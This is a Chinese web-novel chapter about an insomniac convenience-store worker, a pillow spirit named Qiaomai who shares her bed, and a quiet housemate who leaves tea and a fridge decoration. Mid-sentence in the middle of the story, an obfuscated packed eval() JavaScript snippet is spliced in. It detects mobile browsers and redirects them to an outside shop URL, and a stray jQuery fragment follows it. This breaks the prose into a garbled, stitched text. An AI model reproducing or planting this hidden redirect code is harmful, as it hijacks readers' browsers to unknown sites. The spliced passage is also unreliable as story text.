荞麦皮枕头用久了会结块。翻个身，里头的壳就跟着簌簌地响。
有人觉得吵。
有人觉得那是枕头在说梦话。
---
凌晨五点零三分。
沈鹿栖把钥匙插进锁孔的时候，听到了电视的声音。不大，隔着门板传出来，嗡嗡的，像苍蝇在纱窗外面撞。
她拧开门。
客厅的灯没关。日光灯管发出那种廉价的白光，把所有东西都照得没有颜色。荞麦趴在沙发上，手里攥着遥控器，脸埋在靠垫里，后背一起一伏，呼吸很沉。电视开着，一个穿白大褂的老头坐在演播室里，面前摆着一排泡脚桶，正在讲什么"睡前泡脚七分钟，胜过安眠药三颗"。
沈鹿栖用脚把门带上，走过去关了电视。屏幕暗下来的一瞬间，客厅安静了。只剩下冰箱压缩机的声音，嗡嗡嗡嗡，从厨房传出来，和便利店那根灯管的频率差不多。
她低头看了荞麦一眼。靠垫上有一小块湿的，是口水。
餐桌前坐着梨枝。
旗袍领口扣到最上面那颗扣子，领子把脖子裹得严严实实，像怕冷似的。面前摆着一只白瓷茶杯，杯里的茶早就凉了，茶叶沉在杯底，蜷成一小团一小团的。她一动不动地看着窗外，窗外什么都没有，只有对面那栋楼灰扑扑的墙壁和一台锈了的空调外机。
沈鹿栖走过去，经过餐桌的时候，梨枝把茶杯朝她这边推了一下。
她没注意到。她正在想明天的排班表，温辞发消息说想换班，但消息发到一半没头了，不知道是忘了还是信号断了。
梨枝又推了一下茶杯。杯底在桌面上滑了半寸，发出很轻的摩擦声。
沈鹿栖还是没看到。她已经走进厨房了。
厨房的灯泡是暖黄色的，比客厅那根日光灯管温柔很多。沈鹿栖打开冰箱门，冷气扑出来，带着一股剩菜和牛奶混合的味道。她弯腰去拿水壶，手碰到冰箱门的时候，指尖碰到了一个硬硬的东西。
她直起身，低头看。
冰箱门上多了一张贴纸。
不是贴纸，是一张唱片封面剪下来的一小块。爵士乐唱片，一个萨克斯手的黑色剪影，背景是墨绿色的，上面印着几个英文字母：BlueinGreen。剪得不太齐，边缘有毛边，用浆糊粘的，浆糊已经干了，边角翘起来，像一只蝴蝶停在那里，翅膀没展开。
沈鹿栖盯着那张贴纸看了很久。
冰箱门一开一合，贴纸跟着微微颤动。她伸手碰了碰翘起来的那个角，指腹摸到浆糊干透之后硬硬的质感。
她想起小时候。
妈妈的冰箱上贴满了东西。小学三年级的奖状，"劳动小标兵"，纸已经黄了，边角卷起来，用透明胶带粘回去的。超市打折券，过期了也没揭，上面印着"鸡蛋每斤便宜两毛"。一张全家福，她五岁，爸爸还没走，妈妈穿着那件红色的毛衣，三个人在公园的长椅上，她坐在中间，两边各一只手搭在她肩膀上。
冰箱门一开一合，那些纸片就跟着抖，像在跟人打招呼。
后来搬了家。新房子，冰箱换成了双开门的，银灰色，不锈钢面板。妈妈说旧冰箱太老了，制冷不行，扔了吧。那些东西没揭下来，连着冰箱一起被搬走了。
沈鹿栖不知道它们后来去了哪里。
她关上冰箱门，那张贴纸在门面上安静地贴着。萨克斯手的剪影在暖黄的灯光下像一个很小的影子。
她倒了杯水，端着杯子走出厨房。
经过餐桌的时候，梨枝已经把茶杯收回去了，放在自己面前，两只手捧着，没喝。她的目光从窗外收回来，落在沈鹿栖身上，停了一秒，又移开了。
沈鹿栖没注意到。她走到客厅，荞麦还在沙发上趴着，换了个姿势，侧过身，遥控器掉在了地上。电视屏幕是黑的，倒映出客厅的轮廓，模模糊糊的。
她蹲下去捡遥控器，手指碰到遥控器的时候，荞麦动了动。
"嗯……"
声音从靠垫里闷闷地传出来，含含糊糊的，不知道在说什么。
沈鹿栖把遥控器放在茶几上，站起来。膝盖咔嗒响了一声，她揉了揉膝盖，走到卧室门口。
门开着。
床单皱巴巴的，被子团在一边，枕头上有一个头印。荞麦的本体放在床头柜上，枕面上那朵歪花的线头松了一根，从花心的位置翘出来，像一根没藏好的头发。
沈鹿栖走过去，坐在床边，伸手去拉那根线头。
指尖刚碰到线头，身后有什么东西贴了上来。
不是被子。被子在脚边。是一种温热的、柔软的、带着淡淡荞麦壳气味的包裹感，从她的后背开始，像一件正在合拢的衣服，慢慢地把她整个人裹住。
沈鹿栖没动。
裹住她的东西动了动，力度收紧了一点，然后松开了一点，像在找一个合适的位置。
"你回来了。"
声音贴着她的后背传过来，闷闷的，带着一点鼻音，像刚醒还没完全醒的那种含糊。
"嗯。"
"冰箱上那个……是梨枝贴的。"荞麦打了个哈欠，哈欠打到一半停住了，又打了一个，"她说人类的家里要有'装饰品'。我问她什么是装饰品，她说就是'没用但好看的东西'。"
沈鹿栖笑了一下。
很小的笑，嘴角动了一点，脸上其他地方没动。如果荞麦能看到她的脸，大概会觉得她根本没笑。但荞麦看不到，因为她正趴在沈鹿栖的后背上，脸埋在她的肩胛骨中间，呼吸热热的，透过薄薄的T恤传到皮肤上。
"那朵花的线头松了。"沈鹿栖看着床头柜上的枕头。
荞麦没听见。
呼吸声变深了，变慢了。肩膀上的热度还在，但节奏变了，从急促变成了均匀，从均匀变成了更深的什么东西。
又睡着了。
沈鹿栖没动。她就那么坐在床边，后背靠着一个睡着的枕头精，手搭在膝盖上，眼睛看着床头柜上那只旧枕头。
线头还翘着。
她没再去拉。
---
冰箱压缩机嗡嗡地响。
沈鹿栖关了灯，躺下来。荞麦不知道什么时候从她的后背转移到了她的旁边，把自己卷成了一个春卷，被子裹得严严实实，只露出一撮头发，头发的颜色在黑暗里看不太清，介于深棕和什么别的颜色之间。
枕头上那只旧枕头的荞麦壳气味在黑暗里变得更浓了。不是那种刺鼻的味道，是一种很淡的、很旧的、像粮食在阳光下晒过的那种干燥的香。
沈鹿栖闭上眼睛。
还是没睡着。
但这次不一样。
以前睡不着的时候，时间是一滩没有形状的液体，把她整个人泡在里面。她数灯管的响声，数冰柜压缩机的启停间隔，数窗外经过的车，数一切可以数的东西，把时间切成一段一段的碎片，像切土豆一样，切完了摆在盘子里，看起来就没那么可怕了。
今天不数了。
她在听。
旁边有人在呼吸。呼吸声很轻，很匀，像荞麦壳被风吹动。不是人类的呼吸，人类的呼吸不会有这种节奏，不会这么均匀，不会带着一种布料在风里微微起伏的质感。
是枕头的呼吸。
沈鹿栖把被子拉到下巴的位置。被子的边角被荞麦裹住了，拉不动，她就没再拉。
冰箱的灯从厨房透出来，在地板上画了一条亮线。那条线从门口延伸到床脚，在黑暗里像一道很窄的门槛。
她盯着那条线看了一会儿。
眼睛酸了。不是困，是盯着一个东西太久了。
她把眼睛闭上。
旁边的人翻了个身。被子簌簌地响，荞麦壳的声音。然后有什么东西碰到了她的手背，软软的，凉凉的，是荞麦的手指。
手指搭在她的手背上，没有握，只是搭着。像一只落在树枝上的鸟，停在那里，随时可能飞走，但暂时还没飞。
沈鹿栖没动。
那根手指也没动。
冰箱嗡嗡地响。楼上传来一声很轻的响动，大概是水管，也可能是别的什么。窗外有车经过，车灯从窗帘缝隙里扫过去，在天花板上画了一道弧线，很快就消失了。
沈鹿栖的手指动了一下。
很小的动，像是在回应什么。但荞麦没感觉到，她睡得很沉，手指还搭在沈鹿栖的手背上，一动不动。
那根手指的温度比正常人低两度左右。沈鹿栖不知道"两度"是什么概念，她只是觉得凉，凉得刚好，像夏天的瓷砖地面踩上去的那种凉，不冰，但能让人清醒一点。
她没睡着。
但她闭着眼睛。
眼睛闭着的时候，黑暗变得不那么均匀了。有的地方深一点，有的地方浅一点。深的地方是天花板的方向，浅的地方是窗帘的方向，窗帘外面有路灯，灯光很弱，透过布料渗进来，把那一小块黑暗稀释了。
她以前闭眼的时候不会注意这些。以前闭眼只有一个感觉：黑。
现在不一样了。旁边有人在呼吸，呼吸声像一把尺子，把黑暗量成了均匀的等份。一份一份的，每一份都装着一点荞麦壳的气味，一点凉凉的指尖的触感，一点冰箱压缩机的嗡嗡声。
沈鹿栖的呼吸慢了一点。
不是睡着了。是太累了。身体自己选择了放松，像一条绷了太久的橡皮筋，终于松开了一点点。
她的手指在被子下面动了一下，碰到了荞麦的手指。
这次荞麦感觉到了。她的手指收紧了一点，搭在沈鹿栖的手背上，变成了一个很松的、几乎没有力度的握。
沈鹿栖没抽手。
冰箱的灯还亮着。那条亮线还在地板上画着。
窗外又有车经过。车灯扫过天花板，弧线比上一次更短，大概是转弯了。
楼上的水管又响了一声。
然后安静了。
---
沈鹿栖睁开眼的时候，天还没完全亮。窗帘外面是灰蓝色的光，介于夜和晨之间，那种不上不下的颜色。
她低头看自己的手。
荞麦的手指还搭在她的手背上，松松的，像睡着之前最后做的一件事，然后就忘了。
手背上有一小块湿的。
不是汗。是荞麦手指渗出来的，很淡的水汽，像露水凝在凉的东西上面。
沈鹿栖把手抽出来，很慢，怕吵醒她。荞麦动了动，把脸埋进被子里，嘴里含含糊糊地嘟囔了一个字，听不清是什么。
她坐起来。
床头柜上，荞麦的本体安静地躺着。枕面上那朵歪花的线头还翘着，在灰蓝色的光线里像一根银色的细线。旁边的枕套上有一小块深色的印子，是昨夜的泪水还是别的什么，已经干了，看不太出来。
沈鹿栖伸手碰了碰那根线头。
这次她没拉。只是碰了一下，指腹感觉到线头的毛糙，然后收回手。
她起身去洗漱。经过客厅的时候，餐桌上多了一杯热茶。茶杯放在她的位置前面，杯口冒着细细的热气。
梨枝不在客厅。客房的门关着。
沈鹿栖站在餐桌前，看着那杯茶。茶是苦荞茶，颜色很浅，淡黄色的，能闻到一股淡淡的粮食香。
她端起来喝了一口。
热的。刚好能入口的温度。
她不知道梨枝是什么时候泡的。也不知道这杯茶是留给她的，还是梨枝自己忘了收。
她喝完了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815892|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那杯茶，把杯子洗了，放在沥水架上。
然后出门上班。
关门的时候，她回头看了一眼。客厅里，荞麦的被子从沙发上滑下来一半，露出一截小腿，脚趾头蜷着。冰箱上的唱片贴纸在晨光里安静地贴着，边角翘起来的那一点，像一只蝴蝶的翅膀，始终没有展开。
她把门带上了。
锁舌咔嗒一声扣进去。
楼道里的灯是声控的，她跺了一下脚，灯亮了，惨白的光，和便利店那根灯管一个颜色。
她往下走。走了两步，停下来。
口袋里的手机震了一下。温辞的消息，终于发完了：
"周五能换班不？我对象过生日。"
沈鹿栖打了两个字："可以。"
然后把手机放回口袋，继续下楼。
鞋底踩在楼梯上，一步一步的，声音在空荡荡的楼道里回响。走到三楼的时候，灯灭了，她又跺了一下脚，灯亮了。
她想，冰箱上那张贴纸，是梨枝从旧唱片店带出来的。旧唱片店已经拆了。那张唱片封套，大概是梨枝留下来的唯一一件和过去有关的东西。
她把它剪下来，贴在冰箱上。
"没用但好看的东西。"
沈鹿栖走到一楼，推开单元门。外面的空气凉凉的，带着一股树叶和湿土的味道。天还没完全亮，路灯还亮着，橘黄色的光，照在路面上，路面有点湿，大概是夜里下过一点雨，她没听到。
她把手揣进口袋里，往便利店的方向走。
走了几步，又停下来。
她回头看了一眼自己住的那栋楼。五楼，最右边的窗户，窗帘拉着，里面透出一点暗淡的光。是客厅的灯，没关。
她想起冰箱上那张贴纸。萨克斯手的剪影，墨绿色的背景，边角翘起来。
她想起妈妈的冰箱。那些纸片，冰箱门一开一合就跟着抖。
她想起自己站在新家的厨房里，看着那台银灰色的双开门冰箱，干干净净的面板，什么都没有贴。那时候她想，这样也好，干净。
干净就是什么都没有。
她转回头，继续走。
鞋底踩在湿漉漉的路面上，声音比平时闷一点。路灯把她的影子拉得很长，影子的头碰到了前面那棵树的树根。
她走得很快。
便利店的灯在远处亮着，白色的，刺眼的，和家里那根灯管一个颜色。
她推开门，温辞已经在里面了，蹲在货架旁边理货，头发扎成一个丸子，丸子上别了一根铅笔。
"来了？"温辞抬头。
"嗯。"
"你今天怎么来这么早？"
沈鹿栖走到收银台后面，把包放下，拿出围裙系上。围裙的带子在腰后面打了个结，她打了两遍才打紧。
"睡不着。"
温辞看了她一眼。那个眼神里有很多东西，心疼、无奈、习惯，混在一起，最后变成了一句话。
"你什么时候睡着过？"
沈鹿栖没回答。她拿起抹布，开始擦收银台。收银台上有一小块污渍，是昨天打翻的咖啡，干了之后变成一个深棕色的圆点。她用力擦了几下，没擦掉。
"那个……"温辞从货架后面探出头，"你家那个……那个小妹妹，还住你那儿呢？"
"嗯。"
"她到底是你什么人啊？"
沈鹿栖的抹布停了一下。
"朋友。"
"朋友？"温辞站起来，拍了拍膝盖上的灰，"朋友能住你家？我怎么没这待遇？"
"你有对象。"
"对象和朋友又不冲突。"温辞走到收银台旁边，靠在台面上，"我是说，她看着也不大吧？二十出头？她家里人呢？"
沈鹿栖把抹布放下，拿起扫码枪，对着空气扫了一下。滴的一声。
"她没有家里人。"
温辞不说话了。她看了看沈鹿栖的脸，又看了看她手里的扫码枪，嘴巴张了张，最后说了一句："那你可得照顾好她。"
"嗯。"
沈鹿栖把扫码枪放回去。
收银台的角落里，那块咖啡渍还在。她又擦了一下，还是没擦掉。
算了。
她把抹布搭在收银台边上，开始清点今天的库存。矿泉水三十二瓶，冰红茶十五瓶，关东煮的汤底还剩半锅，丸子有三种，蟹棒、鱼豆腐、龙虾球。
她数着数着，想起了荞麦。
荞麦数不清楚东西。她试过数冰箱里的鸡蛋，数到第六个就忘了前面数了几个，从头来，又忘了，反复了四遍，最后把鸡蛋全拿出来摆在桌上，排成一排，才勉强数对了。
"为什么人类要数东西？"荞麦当时歪着头问。
"为了知道有多少。"
"知道有多少有什么用？"
"……就是有用。"
荞麦想了想，又问："那你知道有多少了之后呢？"
沈鹿栖没回答上来。
现在她站在便利店的货架前面，一瓶一瓶地数矿泉水。三十二瓶。数完了，记在本子上，然后去数冰红茶。
数完了，记在本子上。
然后她把本子合上，放回收银台下面。
她知道了有多少。然后呢？
然后什么也没有。太阳照常升起来，便利店的灯管照常嗡嗡地响，冰柜压缩机照常启停，窗外的车照常经过。
什么也没有变。
但冰箱上多了一张贴纸。
沈鹿栖把围裙的带子重新系了一下。带子在腰后面打了个结，这次一遍就打紧了。
她想，下班的时候，去超市买点苦荞茶。
家里的大概快喝完了。